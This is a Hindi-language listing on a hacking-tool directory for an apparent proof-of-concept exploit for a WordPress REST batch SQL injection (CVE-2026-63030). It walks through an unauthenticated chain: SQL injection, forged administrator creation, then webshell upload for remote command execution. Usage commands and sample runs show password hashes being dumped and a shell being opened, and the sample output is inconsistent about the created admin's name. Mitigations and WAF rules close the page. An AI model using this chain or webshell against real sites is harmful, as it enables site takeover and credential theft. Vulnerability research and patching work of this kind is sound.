Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/ch4120n/cve-2026-63030
भेद्यता स्कैनरशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-63030

WordPress REST बैच रूट-कन्फ्यूज़न SQL इंजेक्शन (CVE-2026-63030) प्रूफ ऑफ कॉन्सेप्ट
शोध, एक्सप्लॉइट विकास और दस्तावेज़ीकरण: Ch4120N

CVE Python License Status


⚠️ कानूनी अस्वीकरण

यह रिपॉजिटरी और इसके साथ आने वाला टूल (exploit.py) पूर्ण रूप से केवल शैक्षिक उद्देश्यों, अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए है।
बिना स्पष्ट, पूर्व, लिखित सहमति के लक्ष्यों के विरुद्ध इस एक्सप्लॉइट का उपयोग करना अवैध है और वैश्विक स्तर पर कंप्यूटर धोखाधड़ी और दुरुपयोग कानूनों का उल्लंघन है। लेखक (Ch4120N) इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए बिल्कुल भी उत्तरदायी नहीं है। हमेशा कानून की सीमा के भीतर कार्य करें और उचित प्राधिकरण प्राप्त करें।


📖 भेद्यता अवलोकन: CVE-2026-63030

CVE-2026-63030 एक गंभीर, बिना प्रमाणीकरण वाली भेद्यता है जो WordPress REST API को प्रभावित करती है। यह नेस्टेड बैच प्रोसेसिंग एंडपॉइंट (/wp-json/batch/v1 या /?rest_route=/batch/v1) के भीतर एक रूट-कन्फ्यूज़न बग का फायदा उठाती है।

मूल कारण

जब WordPress REST API अनुरोधों के एक बैच को प्रोसेस करता है, तो यह निष्पादन से पहले प्रत्येक उप-अनुरोध को उसके विशिष्ट स्कीमा के विरुद्ध मान्य करता है। हालाँकि, आंतरिक रूटिंग पॉइंटर द्वारा जानबूझकर विकृत पथों (जैसे ///) को संभालने के तरीके में एक दोष के कारण, मान्यता स्कीमा वास्तविक निष्पादन हैंडलर से असंयोजित हो जाती है।

हमले की श्रृंखला

  1. रूट कन्फ्यूज़न और SQLi: एक हमलावर नेस्टेड बैच पेलोड इंजेक्ट करता है। डिसिंक के कारण /wp/v2/users एंडपॉइंट (जो author_exclude स्वीकार नहीं करता) को लक्षित करने वाला अनुरोध /wp/v2/posts हैंडलर द्वारा निष्पादित हो जाता है। अस्वच्छित author_exclude पैरामीटर सीधे WP_Query के author__not_in क्लॉज़ में पास हो जाता है, जिसके परिणामस्वरूप बिना प्रमाणीकरण वाला SQL इंजेक्शन होता है।
  2. प्री-ऑथ एडमिन निर्माण: SQLi का उपयोग डेटाबेस को पढ़ने और oembed_cache पोस्ट आईडी की पहचान करने के लिए किया जाता है। फिर एक्सप्लॉइट नेविगेशन मेनू कैश को पॉइज़न करने के लिए Customizer changeset पेलोड का उपयोग करता है, जिससे WordPress को किसी मौजूदा व्यवस्थापक के संदर्भ में उपयोगकर्ता-निर्माण अनुरोध निष्पादित करने के लिए धोखा दिया जाता है।
  3. रिमोट कोड निष्पादन (RCE): नव निर्मित व्यवस्थापक खाते के साथ, टूल प्रमाणित करता है, एक रैंडमाइज़्ड, टोकन-गेटेड PHP वेबशेल प्लगइन अपलोड करता है, OS कमांड निष्पादित करता है, और सभी निशानों को सुरक्षित रूप से साफ कर देता है।

प्रभावित संस्करण

  • WordPress 6.9.0 से 6.9.4 तक
  • WordPress 7.0.0 से 7.0.1 तक (नोट: विशिष्ट प्लगइन कॉन्फ़िगरेशन और REST API बैकपोर्ट के आधार पर पुराने संस्करण भी असुरक्षित हो सकते हैं)।

🚀 विशेषताएँ

  • शून्य निर्भरताएँ: 100% Python 3 मानक लाइब्रेरी। pip install की आवश्यकता नहीं है।
  • एकल फ़ाइल मॉड्यूलर: सभी घटक (क्लाइंट, SQLi, एक्सप्लॉइट, शेल, CLI) एक पोर्टेबल स्क्रिप्ट (exploit.py) में सुव्यवस्थित रूप से व्यवस्थित हैं।
  • मल्टी-तकनीक SQL निष्कर्षण: उपलब्ध सबसे तेज़ तरीकों के माध्यम से स्वचालित रूप से फ़ॉलबैक करता है:
    1. UNION-आधारित: नकली WP_Post पंक्ति बनाकर इन-बैंड निष्कर्षण (प्रति मान 1 अनुरोध)।
    2. एरर-आधारित: यदि WP_DEBUG_DISPLAY सक्षम है तो EXTRACTVALUE() XPATH त्रुटियों का लाभ उठाता है।
    3. ब्लाइंड बूलियन/टाइमिंग: कॉन्फ़िगर करने योग्य स्लीप देरी के साथ बाइनरी सर्च वर्ण निष्कर्षण।
  • स्वचालित प्री-ऑथ ब्रिज: मौजूदा क्रेडेंशियल की आवश्यकता नहीं; टूल चलते-फिरते अपना स्वयं का व्यवस्थापक खाता बनाता है।
  • अस्थायी वेबशेल: एक अद्वितीय प्लगइन स्लग और क्रिप्टोग्राफ़िक रूप से सुरक्षित टोकन उत्पन्न करता है। शेल टोकन के बिना निष्पादित करने से इनकार करता है और उपयोग के बाद स्वयं नष्ट हो जाता है।
  • स्वचालित सफाई: निकास पर नकली व्यवस्थापक खाते को स्वचालित रूप से हटाता है और वेबशेल प्लगइन निर्देशिका को समाप्त करता है।
  • इंटरैक्टिव REPL: एक स्यूडो-टर्मिनल प्रदान करता है जो दूरस्थ कार्यशील निर्देशिका स्थिति बनाए रखता है (cd समर्थन)।

📦 स्थापना और आवश्यकताएँ

कोई तृतीय-पक्ष पैकेज आवश्यक नहीं है। सुनिश्चित करें कि आपके पास Python 3.8 या उच्चतर स्थापित है।

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 विस्तृत उपयोग और विकल्प

एक्सप्लॉइट तीन मुख्य उप-कमांडों में विभाजित है: check, read, और shell।

वैश्विक विकल्प

ये विकल्प सभी उप-कमांडों पर लागू होते हैं:

1. check - भेद्यता का पता लगाना

डेटा निकाले बिना रूट-कन्फ्यूज़न मार्करों की उपस्थिति की पुष्टि करने और SQLi टाइमिंग का परीक्षण करने के लिए लक्ष्य की सुरक्षित रूप से जाँच करता है।

2. read - डेटाबेस निष्कर्षण

SQL इंजेक्शन के माध्यम से सीधे डेटाबेस से डेटा निकालता है।

3. shell - रिमोट कोड निष्पादन

वेबशेल तैनात करता है और कमांड निष्पादित करता है। यदि कोई क्रेडेंशियल प्रदान नहीं किया जाता है, तो यह स्वचालित रूप से प्री-ऑथ एडमिन निर्माण ब्रिज को ट्रिगर करता है।


🖥️ निष्पादन साक्ष्य और उदाहरण

नीचे टूल के वास्तविक दुनिया के उदाहरण दिए गए हैं।

उदाहरण 1: भेद्यता की जाँच करना

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

उदाहरण 2: डेटाबेस फ़िंगरप्रिंट निकालना

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

उदाहरण 3: उपयोगकर्ता क्रेडेंशियल डंप करना

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

उदाहरण 4: इंटरैक्टिव शेल प्राप्त करना (प्री-ऑथ)

ध्यान दें कि कैसे टूल स्वचालित रूप से एक एडमिन खाता बनाता है, शेल तैनात करता है, और बाहर निकलने के बाद सफाई करता है।

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 तकनीकी गहराई से विश्लेषण

डिसिंक प्राइमर

एक्सप्लॉइट का मूल _DESYNC_PRIMER = {"method": "POST", "path": "///"} इंजेक्ट करने पर निर्भर करता है। यह अमान्य URL WordPress के आंतरिक रूटिंग को पहले उप-अनुरोध के लिए WP_Error उत्पन्न करने के लिए बाध्य करता है। यह आंतरिक पॉइंटर को स्थानांतरित करता है, जिससे दूसरा उप-अनुरोध एक स्कीमा के विरुद्ध मान्य किया जाता है लेकिन तीसरे उप-अनुरोध के हैंडलर द्वारा निष्पादित किया जाता है। यह author_exclude पैरामीटर को WP_Query में तस्करी करता है।

UNION फेक-पोस्ट प्राइमरी

धीमी ब्लाइंड SQLi के बजाय, टूल एक पूर्ण रूप से निर्मित, नकली wp_posts पंक्ति इंजेक्ट करने के लिए UNION SELECT का उपयोग करता है। orderby=none और per_page=500 सेट करके, यह WP_Query को क्वेरी को विभाजित करने से रोकता है। इंजेक्टेड post_title में लक्ष्य SQL एक्सप्रेशन का हेक्स-एन्कोडेड परिणाम होता है, जो || डिलीमीटर में लिपटा होता है, जो सीधे REST API JSON प्रतिक्रिया में परिलक्षित होता है।

वेबशेल OpSec

तैनात PHP प्लगइन उच्च गोपनीयता के लिए डिज़ाइन किया गया है:

  • रैंडमाइज़्ड निर्देशिका और फ़ाइल नाम (जैसे, wp_a1b2c3d4.php)।
  • GET पैरामीटर के माध्यम से 32-वर्ण हेक्स टोकन (t) और कमांड (c) की आवश्यकता होती है।
  • टोकन पर टाइमिंग हमलों को रोकने के लिए hash_equals() का उपयोग करता है।
  • पथ प्रकटीकरण को रोकने के लिए स्वचालित रूप से निर्देशिका बदलता है (chdir)।
  • Python क्लाइंट द्वारा स्वच्छ पार्सिंग के लिए आउटपुट EXPLOIT::...::END मार्करों में लपेटा जाता है।

🛡️ शमन और उपचार

  1. WordPress अपडेट करें: तुरंत WordPress 7.0.2 या उसके बाद के संस्करण में अपग्रेड करें, जिसमें CVE-2026-63030 के लिए पैच शामिल है।
  2. बैच एंडपॉइंट अक्षम करें: यदि बैच एंडपॉइंट स्पष्ट रूप से आवश्यक नहीं है, तो इसे मस्ट-यूज़ प्लगइन (mu-plugins) के माध्यम से अक्षम करें:
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. वेब एप्लिकेशन फ़ायरवॉल (WAF): निम्न को ब्लॉक करने के लिए नियम लागू करें:
    • URI में author_exclude युक्त नेस्टेड /batch/v1 अनुरोध।
    • URL पैरामीटर में UNION, SLEEP() या EXTRACTVALUE युक्त अनुरोध।
    • REST API अनुरोधों में /// जैसे विकृत पथ।
  4. WP_DEBUG_DISPLAY अक्षम करें: एरर-आधारित SQLi रिसाव को रोकने के लिए wp-config.php में को पर सेट करना सुनिश्चित करें।

📜 श्रेय और आभार

  • भेद्यता अनुसंधान और एक्सप्लॉइट विकास: Ch4120N
  • अवधारणा प्रेरणा: WordPress REST API रूट कन्फ्यूज़न, oEmbed कैश पॉइज़निंग और Customizer changeset प्राइमिटिव।

"महान शक्ति के साथ महान जिम्मेदारी आती है। इस ज्ञान का उपयोग नष्ट करने के लिए नहीं, बल्कि रक्षा करने के लिए करें।"
— Ch4120N

टूल डाउनलोड करें
विकल्पविवरणडिफ़ॉल्ट
urlलक्ष्य आधार URL (जैसे, http://target.com)आवश्यक
--rest-route(पर्मालिंक अक्षम साइटों के लिए) /wp-json/batch/v1 के बजाय /?rest_route=/batch/v1 का उपयोग करें।False
--timeoutHTTP अनुरोध टाइमआउट सेकंडों में।30.0
--proxyHTTP/HTTPS प्रॉक्सी (जैसे, http://127.0.0.1:8080)।None
विकल्पविवरणडिफ़ॉल्ट
--sleep--confirm-sqli फ़ॉलबैक द्वारा उपयोग की जाने वाली SQL टाइमिंग देरी (सेकंड)।3.0
--samplesपरीक्षण के लिए बेसलाइन/विलंबित SQL टाइमिंग जोड़ियों की संख्या।3
--confirm-sqliएक सक्रिय SQLi पुष्टिकरण पेलोड भेजें (थोड़ी देरी जोड़ता है)।False
विकल्पविवरणडिफ़ॉल्ट
--presetत्वरित निष्कर्षण प्रीसेट: fingerprint (संस्करण/उपयोगकर्ता/डीबी) या users (लॉगिन/हैश)।fingerprint
--queryएक कस्टम स्केलर SQL एक्सप्रेशन निष्पादित करें (जैसे, "SELECT @@version")।None
--prefixडेटाबेस तालिका उपसर्ग।wp_
--max-lengthप्रति मान निकाले जाने वाले अधिकतम वर्ण।128
--techniqueनिष्कर्षण तकनीक: auto, union, error, या blind।auto
विकल्पविवरणडिफ़ॉल्ट
--userव्यवस्थापक उपयोगकर्ता नाम। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)।None
--passwordव्यवस्थापक पासवर्ड। (प्री-ऑथ ब्रिज का उपयोग करने के लिए छोड़ दें)।None
--cmdलक्ष्य पर चलाने के लिए एकल कमांड।None
-i, --interactiveतैनाती के बाद एक इंटरैक्टिव शेल (REPL) खोलें।False
WP_DEBUG_DISPLAY
false